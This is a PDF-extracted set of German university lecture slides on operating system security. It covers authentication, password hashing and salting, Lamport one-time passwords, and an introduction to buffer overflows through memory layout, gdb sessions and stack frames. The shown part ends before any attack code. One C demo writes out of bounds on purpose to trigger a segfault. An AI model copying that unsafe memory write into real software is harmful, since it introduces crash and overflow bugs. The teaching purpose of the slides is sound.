close

Anmelden

Neues Passwort anfordern?

Anmeldung mit OpenID

Betriebssysteme - Sicherheit

EinbettenHerunterladen
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Betriebssysteme - Sicherheit
→ alois.schuette@h-da.de
Version: WS2014(967c57d)
Alois Sch¨
utte
17. Dezember 2014
1 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Inhaltsverzeichnis
Informationssicherheit ist ein weites Feld. Hier beschr¨anken wir und auf
wenige Aspekte.
1 Einf¨
uhrung
2 Benutzer-Authentifizierung
3 Puffer¨
uberl¨aufe
4 Gegenmassnahmen
2 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Einf¨
uhrung
Einf¨uhrung
Als IT-Sicherheit (IT security) bezeichnet man Eigenschaften von
IT-Systemen, die
• die Vertraulichkeit (confidentiality),
Daten d¨
urfen lediglich von autorisierten Benutzern gelesen bzw.
modifiziert werden. Dies gilt sowohl beim Zugriff auf gespeicherte
Daten wie auch w¨ahrend der Daten¨
ubertragung.
• die Verf¨
ugbarkeit (availability) und
Der Zugriff auf Daten muss innerhalb eines vereinbarten Zeitrahmens
gew¨ahrleistet wer- den. Systemausf¨alle gilt es zu verhindern.
• die Integrit¨
at (integrity)
¨
Daten d¨
urfen nicht unbemerkt ver¨andert werden. Alle Anderungen
m¨
ussen nachvollziehbar sein.
sicherstellen.
3 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Einf¨
uhrung
Verwandte Begriffe:
• Authentizit¨
at
Echtheit und Glaubw¨
urdigkeit einer Person oder eines Dienstes
m¨
ussen u
ufbar sein.
¨berpr¨
• Zurechenbarkeit (accountability)
Eine durchgef¨
uhrte Handlung muss einem Kommunikationspartner
eindeutig zugeordnet werden k¨onnen.
• Verbindlichkeit
Ein Abstreiten durchgef¨
uhrter Handlungen ist nicht m¨oglich. Sie ist
unter anderem wichtig beim elektronischen Abschluss von Vertr¨agen.
Erreichbar z.B durch elektronische Signaturen.
4 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Einf¨
uhrung
Bedrohungsziele
IT-Sicherheit wird immer wichtiger, da es st¨andig neue und vermehrt
Bedrohungen gibt mit dem Ziel:
• Systemausf¨
alle zu provozieren,
• illegale Ressourcennutzung,
• Ver¨
anderung von Inhalten,
• Sabotage,
• Spionage und
• Betrug bzw. Diebstahl.
Kennen Sie aktuelle Beispiele?
5 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Einf¨
uhrung
Bedrohungen
Folgende Bedrohungen k¨
onnen unterschieden werden:
• H¨
ohere Gewalt,
• Fehlbedienung,
• Vieren, Trojaner, W¨
urmer,
• Spoofing, Phishing,
• Denial of Service Angriffe,
• Man-in-the middle Attacken und
• Social attacks
Kennen Sie aktuelle Beispiele?
6 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Benutzer-Authentifizierung
1 Einf¨
uhrung
2 Benutzer-Authentifizierung
Wissen
Besitzen
Sein
3 Puffer¨
uberl¨aufe
4 Gegenmassnahmen
7 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Faktoren
Die Authentifizierung von Benutzern erfolgt u
¨ber verschiedene Faktoren,
etwas, was der Benutzer
• weiß
z.B. Wissen seines Passwort
• hat
z.B. Besitzen einer Smartcard
• ist
z.B. eines seiner biometrischen Merkmale
Je mehr Faktoren (Multifaktorauthentifikation) eine
Authentifizierungsmethode hat, desto sicherer ist das Verfahren i.A.
8 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Wissen
Als Beispiel nehmen wird Benutzer-Authentifizierung durch
Passw¨
orter.
Regeln f¨
ur ein Authentifizierungssytem:
• Bei falscher Eingabe sollte das System nicht sagen, was falsch ist,
Benutzername oder Passwort.
(wieso?)
9 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Wissen
Als Beispiel nehmen wird Benutzer-Authentifizierung durch
Passw¨
orter.
Regeln f¨
ur ein Authentifizierungssytem:
• Bei falscher Eingabe sollte das System nicht sagen, was falsch ist,
Benutzername oder Passwort.
• Passworte d¨
urfen nicht als Klartext angezeigt werden.
(wieso?)
(wieso?)
9 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Wissen
Als Beispiel nehmen wird Benutzer-Authentifizierung durch
Passw¨
orter.
Regeln f¨
ur ein Authentifizierungssytem:
• Bei falscher Eingabe sollte das System nicht sagen, was falsch ist,
Benutzername oder Passwort.
• Passworte d¨
urfen nicht als Klartext angezeigt werden.
(wieso?)
(wieso?)
• Sternchen (oder ¨
ahnliches) sollten angezeigt werden, die Anzahl
sollte bei Wiederholungen aber nicht mit der Anzahl der vorherigen
Eingaben u
(wieso?)
¨bereinstimmen.
9 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Wissen
Als Beispiel nehmen wird Benutzer-Authentifizierung durch
Passw¨
orter.
Regeln f¨
ur ein Authentifizierungssytem:
• Bei falscher Eingabe sollte das System nicht sagen, was falsch ist,
Benutzername oder Passwort.
• Passworte d¨
urfen nicht als Klartext angezeigt werden.
(wieso?)
(wieso?)
• Sternchen (oder ¨
ahnliches) sollten angezeigt werden, die Anzahl
sollte bei Wiederholungen aber nicht mit der Anzahl der vorherigen
Eingaben u
(wieso?)
¨bereinstimmen.
9 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Passworte
Problem:
Passw¨orter sind oft schlecht gew¨ahlt oder der Default-Wert
wird beibehalten. (z.B. Oracle sysadmin/master)
L¨
osung:
unternehmensweite Passwortregeln, wie z.B.
• Mindestens 10 Zeichen
• Groß- und Kleinbuchstaben
• Ziffern und Sonderzeichen
• nicht in W¨
orterb¨
uchern vorhanden
10 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Passworte
Problem:
Passw¨orter sind oft schlecht gew¨ahlt oder der Default-Wert
wird beibehalten. (z.B. Oracle sysadmin/master)
L¨
osung:
unternehmensweite Passwortregeln, wie z.B.
• Mindestens 10 Zeichen
• Groß- und Kleinbuchstaben
• Ziffern und Sonderzeichen
• nicht in W¨
orterb¨
uchern vorhanden
10 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Speicherung von Passworten
Passworte werden nicht als Klartext im System gespeichert, man
verwendet eine Einwegfunktionen:
Einwegfunktion:
y = f (x) ist Einwegfunktion, wenn gilt:
• bei gegebenem x ist y leicht (effizient) zu berechnen
• bei gegebenem y ist x sehr schwer (computational
infeasible) zu berechen
Verfahren:
1 Man speichert dann den Hash = e(passwort)
2 Zum Authentifizieren testet man dann:
e(eingegebenes Passwort) == hash
11 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Speicherung von Passworten
Passworte werden nicht als Klartext im System gespeichert, man
verwendet eine Einwegfunktionen:
Einwegfunktion:
y = f (x) ist Einwegfunktion, wenn gilt:
• bei gegebenem x ist y leicht (effizient) zu berechnen
• bei gegebenem y ist x sehr schwer (computational
infeasible) zu berechen
Verfahren:
1 Man speichert dann den Hash = e(passwort)
2 Zum Authentifizieren testet man dann:
e(eingegebenes Passwort) == hash
Beispiele f¨
ur Einwegfunktionen
• md5
• sha (→ linux sha1sum)
→ /etc/passwd, /etc/shadow (linux)
11 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Speicherung von Passworten
Passworte werden nicht als Klartext im System gespeichert, man
verwendet eine Einwegfunktionen:
Einwegfunktion:
y = f (x) ist Einwegfunktion, wenn gilt:
• bei gegebenem x ist y leicht (effizient) zu berechnen
• bei gegebenem y ist x sehr schwer (computational
infeasible) zu berechen
Verfahren:
1 Man speichert dann den Hash = e(passwort)
2 Zum Authentifizieren testet man dann:
e(eingegebenes Passwort) == hash
Beispiele f¨
ur Einwegfunktionen
• md5
• sha (→ linux sha1sum)
→ /etc/passwd, /etc/shadow (linux)
11 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Brute-Force Angriffe
Durch Brute-Force Angriffe k¨
onnen schlechte Passworte entschl¨
usselt
werden. Werkzeuge dazu sind frei verf¨
ugbar z.B. john the ripper
http://www.openwall.com/john/
L¨osungen (kombinierbar):
1
Langsame Hash-Funktion
Hash = e(e(e(...e(Passwort)...)))
12 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Brute-Force Angriffe
Durch Brute-Force Angriffe k¨
onnen schlechte Passworte entschl¨
usselt
werden. Werkzeuge dazu sind frei verf¨
ugbar z.B. john the ripper
http://www.openwall.com/john/
L¨osungen (kombinierbar):
1
Langsame Hash-Funktion
Hash = e(e(e(...e(Passwort)...)))
2
Suppe versalzen
Hash = e(Passwort + Salt)
Beispiel:
Login
Passwort
Salt
gespeichertes Passwort
as
Jennni
12345678
e(Jenni12345678)
12 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Brute-Force Angriffe
Durch Brute-Force Angriffe k¨
onnen schlechte Passworte entschl¨
usselt
werden. Werkzeuge dazu sind frei verf¨
ugbar z.B. john the ripper
http://www.openwall.com/john/
L¨osungen (kombinierbar):
1
Langsame Hash-Funktion
Hash = e(e(e(...e(Passwort)...)))
2
Suppe versalzen
Hash = e(Passwort + Salt)
Beispiel:
Login
Passwort
Salt
gespeichertes Passwort
3
as
Jennni
12345678
e(Jenni12345678)
Shadow-Passort Datei
nur Root kann Datei lesen
12 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Brute-Force Angriffe
Durch Brute-Force Angriffe k¨
onnen schlechte Passworte entschl¨
usselt
werden. Werkzeuge dazu sind frei verf¨
ugbar z.B. john the ripper
http://www.openwall.com/john/
L¨osungen (kombinierbar):
1
Langsame Hash-Funktion
Hash = e(e(e(...e(Passwort)...)))
2
Suppe versalzen
Hash = e(Passwort + Salt)
Beispiel:
Login
Passwort
Salt
gespeichertes Passwort
3
as
Jennni
12345678
e(Jenni12345678)
Shadow-Passort Datei
nur Root kann Datei lesen
12 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Einmal-Passworte
Einfache L¨
osung:
zuf¨allig erzeugte Passworte in einem Buch aufschreiben
Authentifizierung:
1
Benutzer muss im Buch aufgeschriebenes Passwort eingeben,
2
dann wird das Passwort aus dem Buch gel¨
oscht.
13 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Einmal-Passworte
Einfache L¨
osung:
zuf¨allig erzeugte Passworte in einem Buch aufschreiben
Authentifizierung:
1
Benutzer muss im Buch aufgeschriebenes Passwort eingeben,
2
dann wird das Passwort aus dem Buch gel¨
oscht.
Beispiel:
TAN-Liste beim elektronischen Banking
Wie sicher ist diese L¨
osung?
13 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Einmal-Passworte
Einfache L¨
osung:
zuf¨allig erzeugte Passworte in einem Buch aufschreiben
Authentifizierung:
1
Benutzer muss im Buch aufgeschriebenes Passwort eingeben,
2
dann wird das Passwort aus dem Buch gel¨
oscht.
Beispiel:
TAN-Liste beim elektronischen Banking
Wie sicher ist diese L¨
osung?
13 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
L¨osung 2: Leslie Lamport Algorithmus f¨
ur Netzwerk-Zugang
• Gegeben: s = geheimes Passwort, Integer n, Hash-Funktion e
• man verwendet folgende Funktion:
Px = e n−x (s) = e(Px+1 )
z.B. f¨
ur n=5:
P0 = e n (s) = e(e(e(e(e(s))))) = e(P1 )
P1 = e n−1 (s) = e(e(e(e(s)))) = e(P2 )
P2 = e n−2 (s) = e(e(e(s))) = e(P3 )
...
P4 = e n−4 (s) = e(s)
14 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
• Authentifikation:
1 P0 und n werden im Authentifizierungs-Server gespeichert
15 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
• Authentifikation:
1 P0 und n werden im Authentifizierungs-Server gespeichert
2 Benutzer meldet sich an
15 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
• Authentifikation:
1 P0 und n werden im Authentifizierungs-Server gespeichert
2 Benutzer meldet sich an
3 Server sendet 1
15 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
• Authentifikation:
1 P0 und n werden im Authentifizierungs-Server gespeichert
2 Benutzer meldet sich an
3 Server sendet 1
n−1
4 Benutzer antwortet mit P1 = e
(s) (n-1 mal gehashtem Passwort)
15 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
• Authentifikation:
1 P0 und n werden im Authentifizierungs-Server gespeichert
2 Benutzer meldet sich an
3 Server sendet 1
n−1
4 Benutzer antwortet mit P1 = e
(s) (n-1 mal gehashtem Passwort)
5 Server pr¨
uft: P0 == e(P1 )
15 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
• Authentifikation:
1 P0 und n werden im Authentifizierungs-Server gespeichert
2 Benutzer meldet sich an
3 Server sendet 1
n−1
4 Benutzer antwortet mit P1 = e
(s) (n-1 mal gehashtem Passwort)
5 Server pr¨
uft: P0 == e(P1 )
6 wenn ja, dann Authentifizierung ok, Server speichert P1 und n
15 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
• Authentifikation:
1 P0 und n werden im Authentifizierungs-Server gespeichert
2 Benutzer meldet sich an
3 Server sendet 1
n−1
4 Benutzer antwortet mit P1 = e
(s) (n-1 mal gehashtem Passwort)
5 Server pr¨
uft: P0 == e(P1 )
6 wenn ja, dann Authentifizierung ok, Server speichert P1 und n
7 beim 2. Login-Versuch wird der Server 2 senden, der Benutzer muss
mit P2 antworten, u.s.w.
15 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
• Authentifikation:
1 P0 und n werden im Authentifizierungs-Server gespeichert
2 Benutzer meldet sich an
3 Server sendet 1
n−1
4 Benutzer antwortet mit P1 = e
(s) (n-1 mal gehashtem Passwort)
5 Server pr¨
uft: P0 == e(P1 )
6 wenn ja, dann Authentifizierung ok, Server speichert P1 und n
7 beim 2. Login-Versuch wird der Server 2 senden, der Benutzer muss
mit P2 antworten, u.s.w.
8 ist n erreicht, muss ein neues Passwort s gew¨
ahlt werden und der
Prozess beginnt von vorne.
15 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
• Authentifikation:
1 P0 und n werden im Authentifizierungs-Server gespeichert
2 Benutzer meldet sich an
3 Server sendet 1
n−1
4 Benutzer antwortet mit P1 = e
(s) (n-1 mal gehashtem Passwort)
5 Server pr¨
uft: P0 == e(P1 )
6 wenn ja, dann Authentifizierung ok, Server speichert P1 und n
7 beim 2. Login-Versuch wird der Server 2 senden, der Benutzer muss
mit P2 antworten, u.s.w.
8 ist n erreicht, muss ein neues Passwort s gew¨
ahlt werden und der
Prozess beginnt von vorne.
• Bemerkungen
• Das Passwort s wird nie gespeichert oder u
¨bertragen.
• Linux-Implementierung: S/KEY
15 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus f¨ur Einwegpassworte
• Authentifikation:
1 P0 und n werden im Authentifizierungs-Server gespeichert
2 Benutzer meldet sich an
3 Server sendet 1
n−1
4 Benutzer antwortet mit P1 = e
(s) (n-1 mal gehashtem Passwort)
5 Server pr¨
uft: P0 == e(P1 )
6 wenn ja, dann Authentifizierung ok, Server speichert P1 und n
7 beim 2. Login-Versuch wird der Server 2 senden, der Benutzer muss
mit P2 antworten, u.s.w.
8 ist n erreicht, muss ein neues Passwort s gew¨
ahlt werden und der
Prozess beginnt von vorne.
• Bemerkungen
• Das Passwort s wird nie gespeichert oder u
¨bertragen.
• Linux-Implementierung: S/KEY
15 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Wissen
Leslie Lamport Algorithmus - Authentifikation
Client
Server
berechne P0 = e n (s)
P0 ,n
−→
speichere P = P0 , n
initialisiere c = 1
Benutzer gibt Passwort p ein
c
←−
berechne Pc = e n−c (p)
P
c
−→
Antwort = (P == e(Pc ))
if (Antwort) {c++; P = Pc }
Antwort
←−
16 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Besitzen
Besitzen
Der Benutzer muss etwas besitzen,
z.B.
• normalen Schl¨
ussel
• Karte
• mit Magnetstreifen
• mit Chip
• Beispiel: EC-Karten
• Einmal-Passwort Ger¨
ate/Token
• Alle 60 Sekunden wird ein
neues Einmalpasswort
angezeigt, dass bei der
Eingabemaske zum normalen
Passwort anzugeben ist.
• Beispiel: Secure ID von RSA
17 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Benutzer-Authentifizierung
Sein
Sein
Man u
uft, ob der Benutzer etwas ist, z.B. ein biometrisches
¨berpr¨
Merkmal hat:
• Fingerabdruck (z.B. iPhone 5s)
• Retina (Augenhintergrund)
• Unterschrift
• Gesichtsgeometrie
• ...
18 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Puffer¨uberl¨aufe
1 Einf¨
uhrung
2 Benutzer-Authentifizierung
3 Puffer¨
uberl¨aufe
Datentypen der IA-32 Prozessorarchitektur
Speicherorganisation
Stack Funktionsprinzip
Schwachstellen
Angriffsm¨
oglichkeiten - Denial of Service Attacken
Angriffsm¨
oglichkeiten - Gezielte Modifikation des Programmflusses
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
4 Gegenmassnahmen
19 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Puffer¨uberl¨aufe
Hier werden Puffer¨
uberl¨aufe mit ihren Auswirkungen betrachtet1 .
Umgebung:
• Die Schwachstellen werden auf Intel Linux Rechnern (ELF
basiertes Unix mit IA-32 Architektur) diskutiert. Sie sind aber auf
anderen Systemen ebenfalls m¨
oglich, dann sind die spezifischen
Umgebungsbesonderheiten entsprechend zu ber¨
ucksichtigen.
• Die Programme, die als Basis f¨
ur die Puffer¨
uberl¨aufe, gezeigt
werden, sind in C geschrieben und mit dem GNU Compiler
u
¨bersetzt. Durch Darstellung des Programmablaufs wird der GNU
Debugger verwendet.
1 Die vorgestellten Programme orientieren sich am Buch ’Buffer Overflows und
Format-String-Schwachstellen’ von Tobias Klein. Dort sind weitere Schwachstellen und
Gegenmassnahmen beschrieben.
20 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Datentypen der IA-32 Prozessorarchitektur
Datentypen der IA-32 Prozessorarchitektur
Ein Byte hat 8 Bit, ein Wort besteht aus 2 Byte, ein Doppelwort aus 4
¨
Byte. Verwendet wird Little-endian-Byte-Ordering
¨.
Daten und Speicher werden wie folgt dargestellt:
7
0
15
87
Byte
Wort
0
high B. low B.
31
2423
1615
87
0
31
2423
1615
87
0 ←Bit Offset
Doppelwort
Speicher
16 h¨
ochste Adresse
12
8
4
Byte 3 Byte 2 Byte 1 Byte 0
0 niedrigste Adresse
↑
Byte Offset
21 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Speicherorganisation
Speicherorganisation
Puffer¨
uberl¨aufe kann man nur verstehen, wenn die Prozess- und
Speicherorganisation bekannt ist.
• Eine Bin¨
ardatei enth¨alt ein ausf¨
uhrbares
Programm und ist auf einem Datentr¨ager
abgelegt. Hier wird das in Linux u
¨bliche
Format ELF (Executable and Linking
Format) zu Grunde gelegt.
• Wird ein Programm aufgerufen, wird der
0xc0000000
dazu geh¨
orende Programmkode in den
Hauptspeicher geladen und das Programm
wird in dieser Umgebung ausgef¨
uhrt.
• Dieses sich im Ablauf befindende
Stack
hohe Adressen
❄
frei
Heap ✻
Data
0x08048000
Text
niedrige Adressen
Programm wird Prozess genannt.
• Einem Prozess ist ein (virtueller)
Adressraum zur Verf¨
ugung gestellt, der in
Segmente aufgeteilt ist.
22 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Speicherorganisation
Textsegment
Im Textsegment wird der (¨
ubersetze)
Programmkode abgelegt. Dieser Bereich ist read
only, um zu verhindern, dass ein Prozess seine
Instruktionen versehentlich u
¨berschreibt.
Ein Schreibversuch in den Bereich f¨
uhrt zu einem
Fehler (Segmentation Violation,
Speicherzugriffsfehler).
segmentationViolation.c
1
char global [] = " Text " ;
3
int main ( void ) {
printf ( " % s \ n " , global );
global [ -10000] = 'a ';
return 0;
}
4
5
6
7
Stack
❄frei
Heap
✻
t x e T
Text
← global[-10000]
Was passiert, wenn
global[4]=’X’ gesetzt wird?
←
23 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Speicherorganisation
Data Segment
Globale und static Variable werden im Data Segment abgelegt.
Dabei wird das Segment nochmals unterteilt, in den Data und den BSS
Block (block started by symbol).
Im Data Block werden
• initialisierte globale und
• initialisierte static Variable
gespeichert.
Im BSS Block werden
• nicht initialisierte globale und
• nicht initialisierte static Variable gespeichert.
24 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Speicherorganisation
Stack
Auto-Variable (lokale Variable einer Funktion) und Funktionsparameter
werden auf dem Stack abgelegt, wenn die Funktion aufgerufen wird.
oberstes Element
• Der Stack ist unterteilt in zwei
Endemarke
Bereiche:
Programname
• Umgebungsinformationen zum
env[0] ... env[m]
Prozess
• User Stack
argv[0] ... argv[n]
• Insgesamt w¨
achst der Stack von
hohen zu niedrigen Adressen.
argc
User Stack
✲
❄
frei
25 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Speicherorganisation
Adressraum beobachten
Mittels des GNU Debuggers kann man die Lage der einzelnen Arten von
Variablen im Speicher ansehen. Dazu betrachten wir ein einfaches
Programm:
segmente.c
1
2
4
5
6
7
8
10
11
12
13
char global_i [] = " Text " ;
int global_ni ;
void funktion ( int lokal_a , int lokal_b , int lokal_c ) {
static int lokal_stat_i = 15;
static int lokal_stat_ni ;
int lokal_i ;
}
int main ( void ) {
funktion (1 , 2 , 3);
return 0;
}
Der GNU Compiler muss mit der Option − g aufgerufen werden, um
Debug-Information zu generieren:
$ gcc -g -o segmente segmente.c
26 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Speicherorganisation
Nun kann der Debugger aufgerufen werden:
1
2
3
4
$ gdb segmente
GNU gdb ( GDB ) Fedora (7.2 -16. fc14 )
Reading symbols from segmente ... done .
( gdb )
Wir setzen einen Breakpoint am Ende der Funktion function , um die
Speicherbelegung ansehen zu k¨
onnen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
( gdb ) list
←
2
int
global_ni ;
3
4
void funktion ( int lokal_a , int lokal_b , int lokal_c ) {
5
static int lokal_stat_i = 15;
6
static int lokal_stat_ni ;
7
int
lokal_i ;
8
}
9
10
int main ( void ) {
11
funktion (1 , 2 , 3);
( gdb ) break 8
←
Breakpoint 1 at 0 x8048397 : file segmente .c , line 8.
( gdb )
27 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Speicherorganisation
Nun wird das Programm ablaufen:
1
2
4
5
6
( gdb ) run
←
Starting program : segmente
Breakpoint 1 , funktion ( lokal_a =1 , lokal_b =2 , lokal_c =3) at segmente . c :8
8
}
( gdb )
Wir sehen uns die Adressen der einzelnen Variablen an:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
( gdb ) print & global_i
←
$3 = ( char (*)[5]) 0 x804962c
( gdb ) help info symbol
Describe what symbol is at location ADDR .
Only for symbols with fixed locations ( global or static scope ).
( gdb ) info symbol 0 x804962c
←
global_i in section . data of segmente
←
( gdb ) print & global_ni
←
$4 = ( int *) 0 x8049644
( gdb ) info symbol 0 x8049644
global_ni in section . bss of segmente
←
( gdb ) print & lokal_stat_i
←
$5 = ( int *) 0 x8049634
( gdb ) info symbol
0 x8049634
lokal_stat_i .1219 in section . data of segmente ←
( gdb )
28 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Speicherorganisation
Die Lage der nicht statischen lokalen Variablen kann man nur u
¨ber
einen Trick ansehen, da sie sich auf dem Stack befinden:
man verzweigt vom Debugger zur Shell und sieht im proc-Dateisystem
nach.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
( gdb ) shell
[ as@ulab1 Schwachstellen ] $ ps -a | grep segmente
26121 pts /0
00:00:00 segmente
[ as@ulab1 Schwachstellen ] $ cat / proc /26121/ maps
00110000 -00111000 r - xp 00000000 00:00 0
0076 a000 -00787000 r - xp 00000000 fd :00 47859
00787000 -00788000 r - - p 0001 c000 fd :00 47859
00788000 -00789000 rw - p 0001 d000 fd :00 47859
0078 b000 -0090 e000 r - xp 00000000 fd :00 47860
0090 e000 -0090 f000 ---p 00183000 fd :00 47860
0090 f000 -00911000 r - - p 00183000 fd :00 47860
00911000 -00912000 rw - p 00185000 fd :00 47860
00912000 -00915000 rw - p 00000000 00:00 0
08048000 -08049000 r - xp 00000000 fd :02 561900
08049000 -0804 a000 rw - p 00000000 fd :02 561900
b7fef000 - b7ff0000 rw - p 00000000 00:00 0
b7fff000 - b8000000 rw - p 00000000 00:00 0
bffdf000 - c0000000 rw - p 00000000 00:00 0
exit
( gdb )
←
←
←
[ vdso ]
Anfang Textsegment
/ lib / ld -2.13. so
/ lib / ld -2.13. so
/ lib / ld -2.13. so
/ lib / libc -2.13. so
/ lib / libc -2.13. so
/ lib / libc -2.13. so
/ lib / libc -2.13. so
segmente
segmente
[ stack ]
Anfang Stack
mit Adr. lokal i
29 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Stack Funktionsprinzip
Stack Funktionsprinzip
Der Stack wird durch
• push- und pop-Operationen verwaltet und
• ist in Frames eingeteilt.
Neben den
• automatischen Variablen und
• den Funktionsparametern, werden auch
• Verwaltungsinformationen, wie z.B. die R¨
ucksprungadresse und
Framepointer bei einem Funktionsaufruf auf den Stack geschrieben.
30 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Stack Funktionsprinzip
Stack Beispiel
funk normal.c
1
2
3
4
5
6
8
9
10
11
12
13
14
void funktion ( int a , int b , int c ) {
char buff [10];
/* lokale Variable auf dem Stack */
buff [0] = 6;
buff [1] = a ;
return 6;
}
int main ( void ) {
int i = 1;
/* lokale Variable auf dem Stack */
i = funktion (1 , 2 , 3); /* Argumente , welche an die Funktion
¨
u bergeben und auf dem Stack
gespeichert werden */
return 0;
}
←
Stack vor dem Aufruf der Funktion funktion(1,2,3):
i=1
frei
31 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Stack Funktionsprinzip
1
2
3
4
5
6
8
9
10
11
12
13
14
void funktion ( int a , int b , int c ) {
char buff [10];
